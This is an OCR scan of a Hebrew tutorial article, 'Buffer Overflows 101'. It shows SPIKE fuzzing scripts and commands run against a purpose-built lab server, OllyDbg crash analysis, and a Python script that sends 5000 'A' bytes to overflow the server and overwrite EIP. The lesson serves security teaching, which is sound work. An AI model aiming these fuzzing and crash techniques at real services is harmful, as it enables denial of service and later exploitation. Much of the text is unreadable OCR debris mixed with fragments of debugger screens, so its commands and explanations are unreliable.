+OK password required for user operator

+OK Maildrop ready

Buffer Overflows 101
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whisperer.exe s ~» 1 _ s

\Whisperer + Strver - " | x 17 18 s 9 dyx LA xs ] D
i ., X ¥y . xs I x o Lo Lo, X

o+ -

~ ~

:Socket prgramming, writing networked code

http://www.eecs.umich.edu/~sugih/pointers/sockets.txt

:Remote exploitation with C and Perl

http://www.exploit-db.com/papers/13166/

Whisperer + _ * x" o 4" ] s B s” I« .~ _s Jus

x "o T d'SBlackBox " 7 Whigperer-. |, 14477 x 7o ] s xs T
X . 5 I x &L

S oux 7 AMhispererxs s x4 X's | ox " {

XX 4T s 4D o x o Whisperers, XL X 4T v X7 e XX

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985 - 2001 Microsoft Corp.

C:\ Documents and Settings \ NightRanger>Whisperer.exe
- ==Digital Whisper Demo Server== -
Waiting for incoming connections...

4321 .%o WhiSperef ~ _: * « .netstat - 48nb s L x < s " 1 (s

TCP 0.0.0.0:4321 0.0.0.0:0 LISTENING
1596
[Whisperer.exel
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Client side:

Server Side:

—==Digital Whizper Demo Servepr==-
Waiting for incoming connections...
Connection recieved from 192_.168.1.1062
Client says: Hello

x DASCH 1 L x0T e s s px ' Vihisperérdstcat - | Sx L, X 10 s s
A s L s 4
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Iduovs i v 4, 1T94%« Whisperer £ x x ¢ |t x 1s 1 x o7 1o Xy
r 1~ 1_~ ., +Whispetet 4 § < I\ JFdzZeX { _ Blackbox] .« >*.¢ +4 0 _x — x7.

~ o~

SPIKE + . = Xx. ] {is

Immunity Sec-: ~ * 1 ci" A i3 44 H 4, " | Fuzze® x X

~

X X O XSPIKEX* X o 17 sFuzzing <1 Xx X x L X ]
Fdox s r o x X xSt X% x o, Do 4 Ll oy A X s L x 1
N N A SR AL

Y SR B N A I I A A IS NN R RSN NUIL PPLTR ook PR

X7 s X ¥ s ox X x| s - Y 4 o« 1« SO L v X Xt .x
.Whisperer
s 4w {0 % « ¥4 _ BaékFratkd r 4 _ . _ . rlTsx sl
/pentest/fuzzers/spike /
Texoy ] FALxox1x, s Cox o audits b X s AXGTd DD o xe X T STl 447 ss

. 1. x POP3,FTP,PPTP

S L X d . Bpkd 447X

STkt oX 0 ox 7 gpikestripts + s 4 -) $pks~ TE A KA LT

~ ~

x> v b Puzmingg ' {4ds 1« v 4. Ruzzings e~ F 4 4]

1 i . « x X | L X "o Dox "y ¢ s LX
st v s T4 s 2xs¥syring() ¢ x -1, A0S
Fuzzes « _ +47%x _ v+ 4~ 1_ ~ T sstring vardble@ . s 7 _ _

STE A~ A AL 4Xs 4.7 {8 binalyg % x A

~ ~ ~

(Integen ~ 441, . v + L _T s~int variable() , x s

L1l «Xxs s S v, "X S B N 1,4~ <11

~

Buffer Overflows 101
www.DigitalWhisper.co.il
77 20 110, x ¥I1x1+~ x { o Y



http://www.immunitysec.com/

Technologic

FTP L~ X 1 xuspkes - X X X o v L]

s_
s_

s_string_variable("anonymous");
s_string(® \r\n");
s_string("PASS ");
s_string_variable("1234");
s_string(® \r\n");

string_variable("USER");
strin - g("");

USER: | xRuzzing , -~ X4 s’ x < .s

s 7 s ¢ {x X O xq.47" sSX "s|, x 4%

FTPs * » o v 4 1T0ovx_ XFuzzing _ v * 4 s 4 4o _s

s v _ - wnewlime-x cartiagelréturn® | x « s Lo« b 4 T 0x X 7

FTRs © LPASSs | x .« s T+ ¢ 410Lx_ x".

L Fd 10 x  FuzZing | 7 ¥ I
L s _ 41, s newlinexearrigge retirh  x v 4 10 x 044X
Fuzzers - X« _«~* . 0 kA1 _ . s o 1x_

~ 1 1 Fuzzers {1 ¥ X . F

1 generic_listen_tcp
1 generic_send_tcp
1 generic_send_udp

1 line_send_tcp

. 5 "TCP a4 X X s € XI—,”'{ L“..,I X X, “Xv” X, s . XFuzze{SS ,,:-I‘_v Lo X | Xis X
.generic_send_tcg

1 4.« N
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S4s 4 X" w44, s XX ASTHl L% Whisparer X "X | xs. o

1ox o« 1 x

~

- X X

3 : = 1 ¢ " xwhiSpérerspke1_ %« 1, *Ix.ax T AL Ixx

s_string_variable("A;)

14«40 % |-“v” uxx“s
/pentest/fuzzers/spike/audits
SPIKE - x Fuzzing *
generic_send_tcp Fuzzer* _ _ ¢ _Whispefere x " A H o« S S
X 1 .. S L X "o ~x,,Is 1 %]

¢ SFuzzers  iXes o o SATD Q0 1s AR P

root@Blackbox:/pentest/fuzzer s/spike# ./generic_send_tcp

argc=1

Usage: ./generic_send_tcp host port spike_s cript SKIPVAR SKIPSTR
Jgeneric_send_tcp 192.168.1.100 701 something .spk00

- X "o s { s S ¢

!

generic_send_tcpfuzzers +
144« “fx]

1. x4

.o «19

RGN s ) p oM

v > v
~
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<14 cov s X T " Whisperer S o~ § L B oo xS o, "X

root@Blackbox:/pentest/fuzzers/spike# ./generic_send_tcp 192.168.1.103 4321 audits/whisperer.spk 0 0

igital Whizper Demo Server
aiting for incoming connections.._.
Connection recieved from 192_168.1.162
Client says: A

Connection recieved from 192.168.1.182
Client says: /.:/ARAAARAAAAAARARAAAAARAAAAAAAAAAAARAAAAAAAAAAAARAAAAARAAAAAARAAA
MAARAARAAAARAARAAAAAAAAAAAARAAAAAAAAAAARAARAAAARAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAR
NAARARAAAARAAARAAANAAARAAAAAARARAAARARAAARRAAAAAAANAAAAAAAAAARARARARARAAARAANANA
NAARARAAAARAAARAAANAAARAAAAAARARAAARARAAARRAAAAAAANAAAAAAAAAARARARARARAAARAANANA
AAARARAAAARAAARAAARAAAAAARAAARARAAAAAARAAARAAAAAAARAAAAAAAAAAAARAAAAAAAAAAAARAARA
AARAARAAAARAAARAARAAAARAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAARARAAAAAAAAAAAR
AANAARAAAARAAAAAARAAAARAAAAAAARAARAAAAAAAARAAAAAAAAAAAAAAAAAANAAARARAARAAAAAAAAR
AANAAARAAAAAAAAAAAAAAARANAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAR

IFFiC Whisperer has encountered a problem and needs to o> ]
close. We are sory for the inconvenience. ==

I you were in the middle of something, the information you were working on
might be lost.

Please tell Microsoft about this problem.
‘we have created an ernor report that you can gend to us. 'w'e will treat
thiz repart as confidential and anonymois.

To zee what data this error ieport contains. click here

Debug Send Emor Report Don't Send

X7 . X oxsoos T xs s 81" xWhisperer 1, X1 1.
O-. sc¢4 1+ _ + 17T Fuzzing Vafiabld 0:01
1 0, x "I (4. N13x _« . s s T Fuzzing Varfable 0:1 4

A X % 1 " isvaiablesize= 5004 9 ¥

X .S L] Xs X s s 4. s ]« . X N
L X« " Débuygger 4 ¥ - * s . 47 | x Fazzingg_d-1lL s tsiXies x|
AT X se S o IDebuggers LX) xO M Ise sy, o X x ] s o
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Ollydbg

~>

Dxaqy Dad X x {oExploitsL Tx G4 s IHu B ixs G ] xx 1

w47 x s o x4 ol e x o { X g i1 _~~»s | s

[Bl Fie View Debug Plugns Options Window Help

{4 ] =] L[Em{T|wn[c[/[K[B[R

7]

S]] JJ 5
3 ~ | Begisters (FPU) < ¢ < < < o«
s S

"72N0K TIp ¢~ DMAIND

g P
#5E5 ol
EIEC 13010000
8B4E B

ER1 PESinrss nedll.catavas

3451295)
oizor|| T Boasza s |noy
01200 | © Bhes pefereer EIP BB4BL228 Uh Lspere. <Modu LeEntiuPaint >
25120 | © Bbaze
401205 | 1 E5 72020e0m [ CALL CIHE.insvert.strebys svropy B9 B =8 iz
<012 | T SpeE Feprrer LER £0 DUBHD TR S TER- 10 B B EfE BFerrh
. 21 B3 Baes amoir
51500 | 78423 Bdanuet Hu OORD PTR S0t EGRI, mhlsnere 8040800 | RSCIT "Client sayst xem”
41 2EF dbooosa | pRUL . Ersucst s priat printf 98 B e FrbroeeFre)
2512cs(| T 68 eoooosa | Hov 0
g2 LEnE" 0 & LssvEr: ERROR_ENUUAR_MOT_FOUND (BB2200CE
EFL G@BGEZAG (O, NB, £, BE, 19, PE, GE,LE
STO erpty -UNORM BCEC 01059164 00905000
STi emory 2.0
T3 crery
215 ey
ST4 erpy
&% Sy
i enety
FI0U DUOAD PTR 58: (EBP-50C], EAY B G A0 . EERNARR
F|HOU ERiE, DUORD TR S5 [E8R-50C1 perosen cnaBE18 e BEEEEEEE @

CALL Wh'ispere. 88401
CAL Bhispere.gaipi oty FCU 827F Frec NEFAR,53 [issk
LER"ER%, DORD PR 551 [ERP 1381

CEE] EHLL (JHP &MSE_SZ MSHStartuD) WSASt artup
SLUE ESP, G v

TEETEDIE  FETR o TerneTee TLarenar
76518738 nedl 1. 7C31673

FFFFFFFF
S oo 1
hnomn
BB2EFFLE

21FT31AE

FFFFFFFF| End of SEH chain

753399r3 SE handler

16058 kerne |32, 7CA16088

>

oyl g

v _dumy
TFFF T

7N TN PN |

zznnnann

SRIBIE0 v <o L eEmtruPaing >
BRZEFFFC| BARARGESM

[ [Paused

alysing Whispere: 3 heuristical procedures, 44 calls to known functions

o LY ~

| ¥4 ¥ =i L|E[M|T|W/H|C|/|K[B|R]|..|5]

o=

Blex] »1] »

a

Step into-

Step ove -

Go to address

Breakpointss s ~ { . |
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R «_s 1. s Adlux Dx'oss I, g 0 Xk% g Bréakpidtt L 47 4"

E7s 4. " x I X< s . 8 _{ 7iStepintd s

Bs 4.7 x 1 x " 1"  « LixStepover* s . X s s

CTRL+FR2 - 4" 1x s b S L

S I I Toan Tt e s S X T L s Sy A L TeSX iy e

Exploits 1 x - i1

>

. <X L ¢ {\Whisperedexe x T _ 4. X x s o 4 d AT LX AL L

~ ° ~ >

Whisperer* .~ x Hil&gAttach 1 1 - L F oy © oo ¥ x « s s

> ~ ° ~ ° «

AL x .« (Pocess)d 4 0 s - s cAttach i, 4IX T L0 i

File Wiew Debug Plugins Options  Window  Help

el x| wu] s+ $0 4] ~) ufe[w)7]w]xc|7|€[B]R|-]5]

Process | Mame Window Path A
Jas Cr~Program FileswJava~joet~bin~jg —
EC| jusched CiwProgram Files-Common FileswJaw
AC| leass Ci~WINDOWS sy stem32 . lsass.ene
E&| HWSh ap frmRu ler Ci~Program Files-HSnap-HlSnap.eq
E4|Photoshop Adobe Photoshop Ci~Program Files~Adobe~Photoshop *
FA| services C:=WINDOWS sy stem3Z seruices. exe
BEERERZ14| smes ~SustemRoot~Sustem3Zvenss. ene
AREEAEES | spoolsyw Cr=WINDOWS~cystem32 spoolsy, ede
HAEEEEZYE| swchost Cr~MINDOWS sy stem32~suchast . exe
L2l swchost Ci~WINDOWS sy stem32 suchost . exe
424 swchost C:~WINDOWS Sy stem32suvchost . exe
453 swchost Ci~WINDOWS sy stem32suchost . exe
424 suchost C:=WINDOWS sy stem3Zsuchost . exe
BEREAL0S| suchost C:=WINDOWS sy stem3I2nsuchost . exe
BAEEEAZAL | UBoH Sery Loe Cr=WINDOWS sy stem32 - LBonSery ice. &t =
AFEEEEEL | UBoR Tray UBanSharedC |l ipboardClass Cr=WMINDOWS sy =t em32~UBonTray. eHe T
GEEEAI04 Whisperer CasDocuments and Settings™ C:-Documents and Settinas~MightRa —
BEEEEZEC win logon 2L W IHDOWS S sy stem32~win Logon .
BEEEAZ2C) WIMWORD Microsoft Word Ci~Program Files-Hicrosoft OFfice ™
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X L. 1" File 154 -4 <01 Y 4 T R REE T SR T Y I S BT
Whisperer.exe , * x « *Openl1 * " x
Python X e s
x4 4 Exploigst X« 11 L L Whispérer Xt o7 X v T e L X
bx s 1« pocpy «+ <4 5 X MWhispdrér I e urxe . T 0 s
s
#!/usr/bin/python
import socket
host ="192.168.1.103" # - L 8 xol ]
port= 4321
buffer=" \x41"*5000 # + 1 _ .5000 A X « s T I T

s=socket.socket(socket.AF_INET,

s.connect((host,port))
data=s.recv(1024)

print "[+] " + data

print" \ n[+] Sending buffer..."
s.send(buffer) # x7 .
data=s.recv(1024)

print "[+]" + data

s.close()

print "Done!"

« Buffer

socket.SOCK_STREAM)

S

s |

>
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X’":X\_ I_{”'ii”,\v’.‘ I_
LTS X (S X ER. XWX Se L%+« . x"*ESEEP _ |
77 buffer-s . <L 1 - 4 1A 18 WML JEIR L I XX A4 XL s X
CASCH A= 4. _ 4 -4 19 px" buffern  1ESR _

EIP-Xs 1 41 _

x 7w s Xs s hx s s xBIP b XS XS Bl 41 S
Sdes s 4
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